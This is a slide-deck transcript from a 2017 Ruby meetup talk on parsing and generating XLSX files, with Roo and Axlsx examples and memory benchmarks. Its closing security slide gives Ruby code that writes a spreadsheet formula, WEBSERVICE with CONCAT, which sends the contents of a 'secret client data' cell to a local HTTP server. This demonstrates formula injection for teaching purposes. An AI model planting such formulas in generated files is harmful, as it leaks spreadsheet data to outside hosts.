Upgrade to Pro — share decks privately, control downloads, hide ads and more …

XLSX in Ruby. RRUG #9

mrzasa
October 12, 2017

XLSX in Ruby. RRUG #9

Handling XLSX files in ruby - parsing, generating; efficiency and security.
Slides from presentation during Rzeszów Ruby User Group meetup.

mrzasa

October 12, 2017
Tweet

More Decks by mrzasa

Other Decks in Programming

Transcript

  1. XLSX IN RUBY XLSX IN RUBY MACIEK RZĄSA, MACIEK RZĄSA,

    Rzeszów Ruby User Group, 12.10.2017 @MJRZASA @MJRZASA
  2. INTERNALS INTERNALS $ unzip -l 10-shared-true.xlsx Archive: 10-shared-true.xlsx Length Date

    Time Name --------- ---------- ----- ---- 1944 2017-10-12 01:07 xl/worksheets/sheet1.xml 313 2017-10-12 01:07 xl/workbook.xml 1090 2017-10-12 01:07 xl/styles.xml 1439 2017-10-12 01:07 xl/sharedStrings.xml 566 2017-10-12 01:07 xl/_rels/workbook.xml.rels 297 2017-10-12 01:07 _rels/.rels 817 2017-10-12 01:07 [Content_Types].xml --------- ------- 6466 7 files
  3. PARSING EXAMPLE PARSING EXAMPLE sheet = Roo::Excelx.new(path) sheet.cell(1,1) sheet.cell('A',1) sheet.cell(1,'A')

    sheet.a1 cells = sheet.sheet_for(sheet.sheets.first).cells data = sheet.header_line.upto(sheet.last_row).map do |row| [cells[[row, 1]]), cells[[row, 2]]] end
  4. AXLSX AXLSX Axlsx::Package.new.tap do |p| p.workbook.add_worksheet(name: 'Test') do |sheet| data.each

    do |row| sheet.add_row(row) end end p.use_shared_strings = true p.serialize(path) end
  5. XLSX/CSV MEMORY XLSX/CSV MEMORY [csv]10 25847 allocated [csv]100 62069 allocated

    - 2.40x more [stream]10 77358 allocated - 2.99x more [stream]100 273694 allocated - 10.59x more [csv]1000 424315 allocated - 16.42x more [axlsx]10 527579 allocated - 20.41x more [axlsx]100 1528683 allocated - 59.14x more [stream]1000 1927186 allocated - 74.56x more [csv]10000 4046771 allocated - 156.57x more [axlsx]1000 11062251 allocated - 427.99x more [stream]10_000 17440784 allocated - 674.77x more [axlsx]10_000 104650749 allocated - 4048.85x more
  6. SECURITY SECURITY let's try it require 'axlsx' Axlsx::Package.new.tap do |p|

    p.workbook.add_worksheet(name: 'Test') do |s| s.add_row(['Secret client data']) s.add_row(['=1+2', '=WEBSERVICE(CONCAT ("http://localhost:4567/", "'", A1, "'"))' ]) end p.serialize('out/injection-axlsx.xlsx') end